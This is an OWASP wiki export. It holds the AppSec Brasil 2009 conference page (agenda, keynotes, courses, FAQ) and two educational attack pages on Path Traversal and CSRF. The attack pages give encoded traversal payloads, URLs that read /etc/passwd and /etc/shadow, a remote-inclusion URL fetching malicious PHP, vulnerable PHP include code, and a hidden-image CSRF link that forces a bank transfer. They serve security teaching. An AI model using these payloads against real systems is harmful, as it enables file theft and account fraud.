A seleção das propostas já foi encerrada. Os autores das propostas selecionadas foram avisados e têm um prazo para confirmar a participação no evento. As demais propostas estão em uma 'fila de espera'.

Caso alguma proposta não seja confirmada, chamaremos os demais autores na ordem da fila de espera. Notificaremos os autores que não forem escolhidos assim que a grade de palestras e mini-cursos for concluída.

==== Promoção====

Esta conferência é promovida pela Comunidade [http://www.ticontrole.gov.br TI-Controle] e organizada pelo Centro de Informática da [http://www.camara.gov.br/ Câmara dos Deputados].

A Conferência tem o apoio do OWASP, [[Brazilian | Capítulo Brasil]], como provedor de conteúdo (seleção de palestras e cursos e montagem da grade de horários).

====Keynotes====
'''Gary McGraw'''

CTO, [http://www.cigital.com Cigital]

<br>

[[Image:GaryMcGraw.JPG|left|60px]]

''Título:'' '''The Building Security In Maturity Model (BSIMM)'''

''Biografia:''
Gary McGraw é o CTO da Cigital, Inc., uma empresa de segurança e qualidade de software com sede em Washington, Estados Unidos. Ele é reconhecido mundialmente como uma autoridade em segurança de software e é autor de oito importantes livros sobre este tópico, incluindo: "Java Security", "Building Secure Software", "Exploiting software", "Software Security" e "Exploiting Online Games". Ele é também editor da série de livros sobre segurança de software na editora Addison-Wesley. Dr. McGraw também escreveu mais de 100 artigos científicos, escreve uma coluna mensal para o site informIT e é frequentemente citado na mídia. Além de servir como consultor estratégico para importantes empresas e executivos de TI, Gary faz parte dos Conselhos Administrativos das empresas Fortify Software e Raven White. Ele recebeu um PhD duplo em Ciência Cognitiva e Ciência da Computação pela Universidade de Indiana, onde ele faz parte do Conselho Consultivo da Escola de Informática. Ele também produz o podcast "Silver Bullet" para a revista IEEE Security & Privacy e produz o podcast Reality Check Security para o site CSO online.

'''Jason Li'''

[http://www.aspectsecurity.com Aspect Security]

''Título:'' '''Agile and Secure: Can We Do Both?'''

Co-autor: '''Jerry Hoff''', Aspect Security

''Biografias:''
Jason Li é engenheiro senior de segurança de aplicações na Aspect Security. Jason conduz revisões de arquiteturas de segurança, revisão de segurança em código de aplicações, testes de segurança e provê treinamentos de segurança em aplicações Web para diversas empresas do ramo de varejo, financeiro e governamentais. Ele também é ativamente envolvido na OWASP, apoiando do Comitê de Projetos Globais da OWASP e como co-autor do Projeto Antisamy da OWASP (versão Java). Jason obteve seu pós-mestrado em Ciências da Computação com concentração em Segurança da Informação pela Universidade Johns Hopkins. Ele obteve seu grau de Mestre em Ciências da Computação pela Universidade Cornell, onde obteve também sua graduação dupla, em Ciências da COmputação e Pesquisador de Operações.

Jerry Hoff é engenheiro senior de segurança de aplicações na Aspect Security. Jerry coordena e executa numerosas revisões de segurança em código de aplicações para clientes de diversas industrias. Jerry também fornece treinamentos para clientes e possui mais de 10 anos de experiência ensinando e desenvolvendo. Jerry também é envolvido com a OWASP e foi o líder do projeto AntiSamy .net. Ele possui mestrado em Ciências da Computação pela Universidade de Washington em St. Louis.

'''Dinis Cruz'''

OWASP Board

''Título:'' '''A Definir'''

''Biografia:''

A definir.

'''Kuai Hinojosa'''

OWASP

''Título:'' '''Deploying Secure Web Applications with OWASP Resources'''

''Biografia:''

Kuai Hinojosa desenvolve e protege aplicações Web por mais de 12 anos. Anteriormente, ele trabalhou no setor bancário como administrador de segurança de base de dados para o quinto maior banco dos Estados Unidos, onde ele trabalhou em um pequeno time de desenvolvimento de aplicações para proteção dos ativos da empresa. Ele trabalha agora na Universidade de Nova Yorque como Especialista de Aplicações Web onde ele continua a empregar o desenvolvimento de aplicações Web e a experiência em segurança de aplicações para proteger os recursos da universidade. Em seu tempo livre, Kuai se voluntaria para catequisar sermões de segurança de aplicações and liderar o capítulo de Mineapolis da OWASP. Kuai é membro do Comitê Global de Edução da OWASP.

====Agenda ====

<span style="color:red;font-style:italic;font-weight:bold;font-size: 120%;"><center>Esta agenda é preliminar e sujeita a mudanças</center></span>

'''Programa da Conferência - Dia 1 - 29 de outubro de 2009 '''

<center>
<table width="80%" class="t">
<tr>
<td width="14%" class="tcell3" valign="center"><div align="right">08:30 - 09:00</div></td>
<td colspan="2" bgcolor="#8595C2" class="tcell3"><center>
<strong> Recepção </strong>
</center></td>
</tr>
<tr>

<td class="tcell2" valign="center"><div align="right">09:00 - 09:30</div></td>
<td colspan="2" bgcolor="#eeeeee" class="tcell"><div align="center"><b>Abertura</b></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">09:30 - 10:00</div></td>
<td colspan="2" bgcolor="#b9c2dc" class="tcell" align="center"><b>Dinis Cruz (OWASP)</b><br/>
Apresentação do projeto OWASP</td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">10:00 - 12:00</div></td>
<td colspan="2" bgcolor="#eeeeee" class="tcell" align="center"><b>[http://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)#tab=Keynotes Gary McGraw] (Cigital)</b><br/>
The Building Security In Maturity Model (BSIMM)</td>
</tr>
<tr>
<td class="tcell3" valign="center"><div align="right">12:00 - 13:30</div></td>
<td colspan="2" bgcolor="#D98B66" class="tcell3"><div align="center"><strong>Almoço</strong></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">13:30 - 14:20</div></td>
<td colspan="2" bgcolor="#EEEEEE" class="tcell" align="center"><b>Dinis Cruz (OWASP)</b><br/>
tba</td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">14:20 - 15:10</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell" align="center"><b>tba</b><br/>
tba</td>

</tr>
<tr>

<tr>
<td class="tcell3" valign="center"><div align="right">15:10 - 15:30</div></td>
<td colspan="2" bgcolor="#D98B66" class="tcell3"><div align="center"><strong>Intervalo</strong></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">15:30 - 16:20</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell"><b>tba</b><br/>
tba</td>

</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">16:20 - 17:10</div></td>
<td colspan="2" bgcolor="#EEEEEE" class="tcell"><b>tba</b><br/>
tba</td>

</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">17:10 - 18:00</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell"><strong>tba</strong><br />
tba</td>

</tr>
<tr>
<td class="tcell3" valign="center"><div align="right">18:00 - 18:30</div></td>
<td colspan="2" bgcolor="#CCCCCC" class="tcell3"><div align="center"><strong>Encerramento do primeiro dia</strong></div></td>
</tr>
</table>
</center>

'''Programa da Conferência - Dia 2 - 30 de outubro de 2009'''

<center>
<table width="80%" class="t">
<tr>
<td width="14%" class="tcell3" valign="center"><div align="right">08:30 - 09:00</div></td>
<td colspan="2" bgcolor="#8595C2" class="tcell3"><center>
<strong> Recepção </strong>
</center></td>
</tr>
<tr>

<td class="tcell2" valign="center"><div align="right">09:00 - 09:10</div></td>
<td colspan="2" bgcolor="#eeeeee" class="tcell"><div align="center"><b>Abertura do segundo dia</b></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">09:10 - 10:40</div></td>
<td colspan="2" bgcolor="#b9c2dc" class="tcell" align="center"><b>[http://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)#tab=Keynotes Jason Li e Jerry Hoff] (Aspect Security)</b><br/>
Agile and Secure: Can We Do Both?</td>
</tr>

<tr>
<td class="tcell2" valign="center"><div align="right">10:40 - 11:00</div></td>
<td colspan="2" bgcolor="#D98B66" class="tcell" ><div align="center"><strong>Intervalo</strong></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">11:00 - 12:00</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell" align="center"><strong>[http://www.owasp.org/index.php/AppSec_Brasil_2009_(pt-br)#tab=Keynotes Kuai Hinojosa] (OWASP)</strong><br />
Deploying Secure Web Applications with OWASP Resources</td>
</tr>
<tr>
<td class="tcell3" valign="center"><div align="right">12:00 - 13:30</div></td>
<td colspan="2" bgcolor="#D98B66" class="tcell3"><div align="center"><strong>Almoço</strong></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">13:30 - 14:20</div></td>
<td colspan="2" bgcolor="#EEEEEE" class="tcell"><b>tba</b><br/>
tba</td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">14:20 - 15:10</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell"><b>tba</b><br/>
tba</td>

</tr>
<tr>

<tr>
<td class="tcell3" valign="center"><div align="right">15:10 - 15:30</div></td>
<td colspan="2" bgcolor="#D98B66" class="tcell3"><div align="center"><strong>Intervalo</strong></div></td>
</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">15:30 - 16:20</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell"><b>tba</b><br/>
tba</td>

</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">16:20 - 17:10</div></td>
<td colspan="2" bgcolor="#EEEEEE" class="tcell"><b>tba</b><br/>
tba</td>

</tr>
<tr>
<td class="tcell2" valign="center"><div align="right">17:10 - 18:00</div></td>
<td colspan="2" bgcolor="#B9C2DC" class="tcell" align="center"><strong>tba</strong><br />
tba</td>

</tr>
<tr>
<td class="tcell3" valign="center"><div align="right">18:00 - 18:30</div></td>
<td colspan="2" bgcolor="#CCCCCC" class="tcell3"><div align="center"><strong>Encerramento</strong></div></td>
</tr>
</table>
</center>

====Resumos das Palestras====

'''The Building Security In Maturity Model (BSIMM)'''

''Gary McGraw'', Cigital

Como uma disciplina, segurança de software tem feito grande progresso na última década. Existem hoje pelo menos 34 grandes iniciativas de segurança de software em empresas, incluindo as empresas de serviços financeiros globais, os fornecedores de software independentes, organizações de defesa, e outros setores. Em 2008, Brian Chess, Sammy Migues e eu entrevistamos os executivos usando nove iniciativas baseadas nas doze práticas do Framework de Segurança de Software como o nosso guia. Essas empresas, entre as nove que gentilmente concordaram em ser identificadas, incluem: Adobe, The Depository Trust and Clearing Corporation (DTCC), EMC, Google, Microsoft, QUALCOMM, e Wells Fargo. Os resultados obtidos, traçados com base em programas reais em diferentes níveis de maturidade, foram utilizados para para orientar a construção do Construindo Segurança no Modelo de Maturidade (em inglês, Building Security In Maturity Model - BSIMM). Esta palestra irá descrever o modelo de maturidade baseado em observação, aproveitando exemplos reais de muitos programas de segurança de software. Um modelo de maturidade é adequado pois ao melhorar a segurança do software quase sempre significa mudar a forma como uma organização trabalha --- pessoas, processos, automação são todos necessários. Embora nem todas as organizações necessitam alcançar os mesmos objetivos de segurança, todas iniciativas de segurança de software em larga escala compartilham idéias e abordagens comuns. Se você acreditar na Cigital Touchpoints, no SDL da Microsoft, ou OWASP CLASP, há muito a aprender com experiências práticas. Utilize o BSIMM como uma referência para determinar onde você está e que tipo de plano de segurança do software irá funcionar melhor para você.

'''Agile and Secure: Can We Do Both?'''

''Jason Li and Jerry Hoff'', Aspect Security

O Agile está tornando o mundo do desenvolvimento de software uma tempestade, porém segurança está sendo adaptada vagarosamente. O que nós podemos aprender do movimento do Agile? É possível obter segurança e permanecer no Agile? Jason e Jerry irão compartilhar as experiências de trabalho da Aspect Security com os times Agile para alcançar garantia e economizar dinheiro. Eles irão comparar e contrastar o modelo tradicional de cascata com o processo ágil e mostrar como nós podemos alcançar confiabilidade e segurança enquanto os principios do Agile são mantidos.

'''Deploying Secure Web Applications with OWASP Resources'''

''Kuai Hinojosa'', OWASP

Universidade são chaves para tornar a segurança de aplicação visível e a necessidade de educar desenvolvedores de software quanto a importância da segurança de aplicações ser um aspecto primordial no desenvolvimento de software nunca foi tão importante.
Nesta apresentação eu irei mostrar como os recursos da OWASP podem ser utilizados por universidades para desenvolver, testar e implementar aplicações Web seguras. Eu irei discutir desafios que universidades atualmente encontram para integrar as melhores práticas de segurança de aplicações e descrever como as ferramentas e recursos da OWASP são utilizados na Universidade de Nova York para testar as falhas mais comuns em aplicações Web. Eu irei introduzir projetos como a API de Segurança Corporativa da OWASP pode ser utilizado para mitigar as falhas mais comuns em aplicações Web e compartilhar as iniciativas que o Comitê Global de Educação está desenvolvendo.
Se você estiver interessado em proteger aplicações Web e como apoiar o Comitê Global de Educação da OWASP, você não pode perder esta apresentação!

====Mini-Cursos====

<span style="color:red;font-style:italic;font-weight:bold;font-size: 120%;"><center>Esta página lista os mini-cursos já aceitos e confirmados. As datas e períodos estão sujeitos a mudanças sem prévio aviso.</center></span>

'''Gestão de Riscos de Segurança Aplicada a Web Services'''

''José Eduardo Malta de Sá Brandão'', IPEA

Data: 27/10
Período: manhã

O objetivo deste minicurso é apresentar a disciplina de gestão de riscos de segurança associada a web Services. O enfoque do curso visa elucidar aspectos conceituais e sistemáticos nestas metodologias, exemplificado em um estudo de caso que visa reforçar a utilidade e necessidade do uso destas metodologias para o entendimento e o desenvolvimento de web services. O curso deverá fornecer aos alunos base para desenvolverem seus próprios projetos de gestão de riscos. As apresentações deverão discorres sobre conceitos, descrição de modelos e na comparação dos principais padrões relacionados à gestão de riscos na segurança.

'''Segurança  Web:  Técnicas  para  Programação  Segura  de  Aplicações'''

''André Ricardo Abed Grégio e Vitor Monte Afonso'', CTI/MCT, ''Paulo Licio de Geus'', IC/UNICAMP

Data: 28/10
Período: tarde

O treinamento visa apresentar os princípios e técnicas de programação segura, principalmente programação de
aplicações Web, abordando conceitos fundamentais da área, detalhando as vulnerabilidades possíveis de serem
exploradas e com foco nos métodos de mitigação destas falhas. São abordados exemplos práticos de como corrigir
vulnerabilidades baseadas no OWASP top 10 em diferentes linguagens de programação, com trechos de código
vulnerável de aplicações Web retirados de revisões de código realizadas pelos autores. São apresentadas também
algumas ferramentas para detecção de ataques e testes de vulnerabilidades em aplicações Web.

'''Segurança Computacional no Desenvolvimento de Web Services'''

''Júlio Cesar Estrella et al'', ICMC/USP

Data: 28/10
Período: integral (manhã e tarde)

Este minicurso apresenta o desenvolvimento de aplicações distribuídas utilizando o conceito de SOA
levando em consideração os aspectos de segurança computacional. Para o desenvolvimento das
aplicações clientes e servidoras serão considerados o uso da engine Apache Axis2. São abordados os
componentes básicos do Axis2, os tipos e modelos de invocação de Web Services bem como suas
principais características. Dois padrões de segurança para a construção de Web Services são
abordadas no contexto da engine Apache Axis2: WS-Security e SAML. A metodologia utilizada para
este minicurso envolve a utilização de tópicos expositivos e de exercícios práticos, abordando os
conceitos fundamentais da engine Axis2, e a construção de aplicações reais com foco em segurança.

'''Tecnologias de Segurança em Web Services'''

''Eduardo Takeo Ueda e Wilson Vicente Ruggiero'', Poli/USP

Data: 28/10
Período: manhã

Devido a sua característica de integração e por fazer uso de padrões abertos, os web services se tornaram uma área de grande interesse para acadêmicos e a indústria nos últimos anos. Inicialmente, pretendemos introduzir aos participantes os conceitos básicos da arquitetura orientada a serviços, com o intuito do treinamento ser auto-suficiente. Posteriormente serão apresentados os principais padrões e especificações de segurança que estão sendo desenvolvidos e devem ser adotados em web services. Por fim, o treinamento culmina com a exposição e caracterização de desafios atuais em segurança de web services.

'''Hands on Web Application Testing using the OWASP Testing Guide.'''

''Matt Tesauro'', OWASP

<span style="color:#ff0000">Este treinamento será ministrado em inglês sem tradução simultânea</span>

Data: 27 e 28/10 (2 dias)
Período: integral (manhã e tarde)

O treinamento irá cobrir as áreas críticas do teste de aplicações Web utilizando o Guia de Testes (Testing Guide) da OWASP v3, como framework de testes de aplicação, e o OWASP Live CD, com as ferramentas para realizar os testes. Uma versão customizada do OWASP Live CD irá ser criada para o treinamento. Ela irá incluir um ambiente controlado de testes oferencendo aplicações vulneráveis de forma que tanto as ferramentas e as aplicações para testar as ferramentas serão incluídas.

====Local====

'''Local do evento'''

[[Image:CongressoNacional.jpg|The Palácio do Congresso building]]

O evento será na Câmara dos Deputados em Brasília, DF, Brasil no endereço: Auditório Nereu Ramos, Câmara dos Deputados - Anexo II, Praça dos Três Poderes.

Veja a localização no [http://maps.google.com/maps?f=q&source=s_q&hl=pt-BR&geocode=&q=anexo+II,+camara+dos+deputados,+brasilia&sll=37.0625,-95.677068&sspn=43.934478,79.101563&ie=UTF8&t=h&ll=-15.800058,-47.865822&spn=0.01309,0.019312&z=16 Google Maps]

''Como chegar ao local da Conferência''

A definir

====Inscrições====

A Conferência será gratuita, mas será necessário inscrever-se previamente.

A página com o formulário de inscrições está em preparação e será disponibilizada em breve. Quando estiver pronto, o link será publicado neste espaço.

====Organização====

'''Comitês'''

OWASP Conferences Chair: Dave Wichers - Aspect Security - dave.wichers 'at' owasp.org

2009 AppSec Brasil - Comitê de Programa (appsec.brasil@camara.gov.br):
* Coordenador Geral: Lucas C. Ferreira (lucas.ferreira at owasp.org)
* Coordenador de Tutoriais: Eduardo V. C. Neves (eduardo.neves at owasp.org)
* Coordenador do Programa: Wagner Elias (wagner.elias at owasp.org)

Equipe Organizadora

* Cassio Goldschmidt (cassio 'at' owasp.org)
* Kuai Hinojosa (kuai.hinojosa 'at' owasp.org)
* Leonardo Cavallari - (leo.cavallari 'at' owasp.org)
* Thiago Lechuga (thiagoalz 'at' gmail.com)
* Dinis Cruz (dinis.cruz 'at' owasp.org)

====Links ====

Página do evento no LinkedIn: http://events.linkedin.com/OWASP-AppSec-Brasil/pub/65160

====Perguntas Frequentes====

'''Quem está promovendo a conferência?'''

Esta conferência é promovida e organizada pela [http://www.ticontrole.gov.br Comunidade TI-Controle] e a [http://www.camara.gov.br Câmara dos Deputados], sendo os conteúdos (apresentações, palestras, cursos, etc) selecionados pelo [[Brazilian| Capítulo Brasil da OWASP]].

'''Quanto irá custar?'''

Nada. Graças ao seu patrocinador, a participação da conferência será gratuita. No entanto, devido ao número limitados de participantes, recomenda-se registrar antecipadamente.

'''''Chamada de Trabalhos'''''

'''O que é a OWASP (Open Web Application Security Project)?'''

A OWASP (Projeto Aberto de Segurança de Aplicações Web, em português) é uma comunidade mundial aberta e livre focada em melhorar a segurança de aplicações. Nossa missão é tornar a segurança de aplicações visível, para que pessoas e organizações possam tomar decisões informadas sobre os reais riscos da segurança de aplicações. Todo mundo é livre para participar na OWASP e todo nosso material é disponível sob um licença de software livre e aberta. A Fundação OWASP é uma organização sem fins lucrativos que garante a constante disponibilidade e suporte para nosso trabalho com seu suporte.

'''Quantas sessões haverão?'''

Veja a agenda na [http://www.owasp.org/index.php/AppSec_Brasil_2009 página principal] da conferência.

'''Quais são os prazos para submissão?'''

O prazo para submissão é 11 de Julho, sendo que a versão final dos trabalhos selecionados deve ser enviado até 15 de setembro de 2009.

'''Quem poderá submeter trabalhos?'''

Autores principais podem submeter seus trabalhos para avaliação. Representantes de terceiros, como empresas de relações públicas ou representantes de palestrantes, NÃO DEVEM submeter trabalhos em nome de um potencial palestrante.

'''Por que submissões de trabalhos por Representantes, como empresas de RP, não são permitidos?'''

Devido aos direitos autorais e responsabilidade com problemas de propriedade intelectual, bem como a necessidade da OWASP ter contato direto com os potenciais apresentadores para fornecer detalhes e providenciar os materiais, nós requeremos que apenas os autores principais submetam suas apresentações. Representantes de terceiros, como empresas de relações públicas ou representantes de palestrantes, NÃO DEVEM submeter trabalhos em nome de um potencial palestrante.

'''Existe alguma restrição no conteúdo das apresentações?'''

Sim, todas as apresentações devem respeitar as regras definidas no [[Speaker Agreement |Acordo de Palestrantes da OWASP]]. Basicamente, as apresentações não devem possuir qualquer conteúdo promocional ou faça referência a marcas e produtos.

'''Quanto tempo eu terei que esperar antes de ser notificado se meu trabalho foi aceito ou negado?'''

Os autores serão notificados do resultado (aceito ou negado) em 7 de Agosto de 2009.

'''Existe algum honorário para os palestrantes?'''

Não. A OWASP é comprometida em tornar sua conferência para a maior audiência possível. Neste sentido, a OWASP manterá a entrada gratuita para a AppSec Brasil 2009 de forma a tornar a conferência acessível. Por conta disto, nós não somos capazes de oferecer gratificações mas recebemos nossos palestrantes como convidados para a conferência onde eles poderão interagir com outros profissionais de segurança. Nós iremos oferecer hospedagem e passagem aérea para um apresentador de cada tarabalho selecionado.

'''Eu fui aceito. Quais são os materiais que eu preciso depositar e quais são os prazos?'''

A lista a seguir apresenta os materiais que são requeridos para cada apresentação aceita. O não cumprimento na submissão desses materiais no prazo previamente determinado acarretará no cancelamento da aprovação do trabalho.
* [[Speaker_Agreement | Acordo de Palestrante]] (15 de Julho de 2009)
* Apresentação no formato PowerPoint conforme http://www.owasp.org/images/5/54/Presentation_template.ppt OWASP Template] (15 de Setembro de 2009)
* Bibliografia detalhada de recursos, co-autores, etc (15 de Setembro de 2009)
* Opcional: Artigo para inclusão no CD da conferência (15 de Setembro de 2009)

'''Eu preciso submeter um artigo?'''

Não. Nós certamente apreciamos todo artigo que possa ser incluído no website e CD da conferência, mas isto não é orbigatório. Se você tem um artigo escrito para acompanhar sua apresentação, por favor envie-nos junto com sua submissão. Submissões com artigos anexados recebrão considerações adicionais.

'''O que acontece caso eu tenha um co-autor que não está apresentando. Como eu referencio esta pessoa??'''

Todos os co-autores e trabalhos utilizados devem ser citados na bibliografia detalhada que será publicada no CD da conferência.

'''Eu fui aceito e gostaria de adicionar um co-apresentador. Eu ainda posso fazer isso?'''

Não. Co-apresentadores devem ser adicionados no momento em que a apresentação for submetida. Eles podem participar da conferência e apresentar, caso se registrem como qualquer outro participante.

'''Minha empresa de RP/amigos/família/amigos de trabalho gostariam de prestigiar minha apresentação. A presença deles será permitida gratuitamente??'''

Sim, mas eles precisam se registrar pelo site como todo outro participante.

'''Eu tenho outras dúvidas...'''

Envie um e-mail para appsec.brasil@camara.gov.br a respeito deste evento.

__NOTOC__
<headertabs/>
[[Category:OWASP AppSec Conference]]

Path Traversal

2008-06-15T20:58:09Z

Thiagoalz: adjustments to new template and Merging Absolute path Transversal.

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

This attack aims to access files and directories that are stored outside web root folder. By browsing the application, one should look for absolute links to files stored on the web server and how this is done. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations it’s possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control.
The idea is to use “../” sequences to move up to root directory, thus permitting to navigate thru file system.

This attack can be execute with a external malicious code injected on the path, the way of the [[Resource Injection]] attack, but it’s a Path Traversal attack

This attack is also named of “dot-dot-slash”, “directory traversal”, “directory climbing” and “backtracking”.

To perform this attack it’s not necessary to use a specific tool, but it’s recommended to use a spider/crawler to detect all URLs available.

'''Request variations'''

Encoding and double encoding:

%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.

'''Unicode/UTF-8 Encoding (only for systems support UTF-8 sequences)'''

..%c0%af represents ../
..%c1%9c represents ..\

'''OS specific'''

UNIX
Root directory: “ / “
Directory separator: “ / “

WINDOWS
Root directory: “ <partition letter> : \ “
Directory separator: “ / “ or “ \ ”

===Severity===

High

===Likelihood of exploitation===

High

==Examples==

===Example 1===
In order to identify the possibility to execute this attack, it’s needed to observe how the application deals with the resources in use. The following examples show some situations.
<nowiki> http://some_site.com.br/get-files.jsp?file=report.pdf </nowiki>
<nowiki> http://some_site.com.br/get-page.php?home=aaa.html </nowiki>
<nowiki> http://some_site.com.br/some-page.asp?page=index.html </nowiki>

In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. Ex:
<nowiki> http://some_site.com.br/get-files?file=../../../../some dir/some file </nowiki>
Or
<nowiki> http://some_site.com.br/../../../../some dir/some file </nowiki>

The following URLs show examples of *NIX password file exploitation:

<nowiki>http://some_site.com.br/../../../../etc/shadow </nowiki>
<nowiki>http://some_site.com.br/get-files?file=/etc/passwd </nowiki>

Note: In a windows system an attacker can navigate only in a partition that locates web root while in the Linux he can navigate in all disc.

===Example 2===
It's also possible to include files, and scripts, located on external website,
<nowiki> http://some_site.com.br/some-page?page=http://other-site.com.br/other-page.htm/malicius-code.php </nowiki>

===Example 3===
These examples illustrate a case when an attacker make the server show the CGI source code;
<nowiki> http://vulnerable-page.org/cgi-bin/main.cgi?file=main.cgi </nowiki>

===Example 4===
This example was extracted from: Wikipedia - Directory Traversal

A typical example of vulnerable application code is:

<pre><nowiki>
<?php
$template = 'blue.php';
if ( is_set( $_COOKIE['TEMPLATE'] ) )
$template = $_COOKIE['TEMPLATE'];
include ( "/home/users/phpguru/templates/" . $template );
?>
</nowiki></pre>

An attack against this system could be to send the following HTTP request:
<pre>
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
</pre>

Generating a server response such as:
<pre>
HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
</pre>

The repeated <tt>../</tt> characters after /home/users/phpguru/templates/ has caused
[http://www.php.net/manual/en/function.include.php include()] to traverse to the root directory, and then include the UNIX password file [[passwd|/etc/passwd]].

UNIX etc/passwd is a common file used to demonstrate '''directory traversal''', as it is often used by crackers to try cracking the passwords.

===Absolute Path Traversal===

:The following URLs maybe are vulnerable to this attack:

<nowiki>http://testsite.com/get.php?f=list</nowiki>
<nowiki>http://testsite.com/get.cgi?f=2</nowiki>
<nowiki>http://testsite.com/get.asp?f=test</nowiki>

:A simple way to execute this attack is like this:

<nowiki>http://testsite.com/get.php?f=/var/www/html/get.php</nowiki>
<nowiki>http://testsite.com/get.cgi?f=/var/www/html/admin/get.inc</nowiki>
<nowiki>http://testsite.com/get.asp?f=/etc/passwd</nowiki>

:When the web server returns information about errors in a web application, it is much easier for the attacker to guess the correct locations (e.g. path to the file with a source code, which then may be displayed).

==Related [[Threat Agents]]==

* [[:Category: Information Disclosure]]

==Related [[Attacks]]==

* [[Path Manipulation]]
* [[Relative Path Traversal]]
* [[Resource Injection]]

==Related [[Vulnerabilities]]==

* [[:Category:Input Validation Vulnerability]]

==Related [[Controls]]==

* [[:Category:Input Validation]]

==References==

* http://cwe.mitre.org/data/definitions/22.html
* http://www.webappsec.org/projects/threat/classes/path_traversal.shtml
* http://cve.mitre.org/docs/plover/SECTION.9.6.html#PATH.TRAV

[[Category:Abuse of Functionality]]
[[Category:Path Traversal Attack]]
[[Category:Resource Manipulation]]

Cross-Site Request Forgery (CSRF)

2008-06-15T20:10:45Z

Thiagoalz: adjustments to new template

{{Template:Attack}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Description==

Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.

For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.

In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.

Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Synonyms: CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

===Prevention measures that do '''NOT''' work===

;Using a secret cookie
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

;Only accepting POST requests
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request. The two most common methods are through the use of phishing sites (sites which appear to look like another valid site) and through the use of XMLHTTPRequest in a Cross-Site Scripting attack.

==Risk Factors==

==Examples==

===How does the attack work?===

There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:

POST <nowiki>http://bank.com/transfer.do</nowiki> HTTP/1.1
...
...
...
Content-Length: 19;

acct=BOB&amount=100

However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:

GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1

Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:

<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki>

Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following:

<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki>

Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:

<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0"></nowiki>

If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.

==Related [[Threat Agents]]==

* [[:Category:Client-side Attacks]]

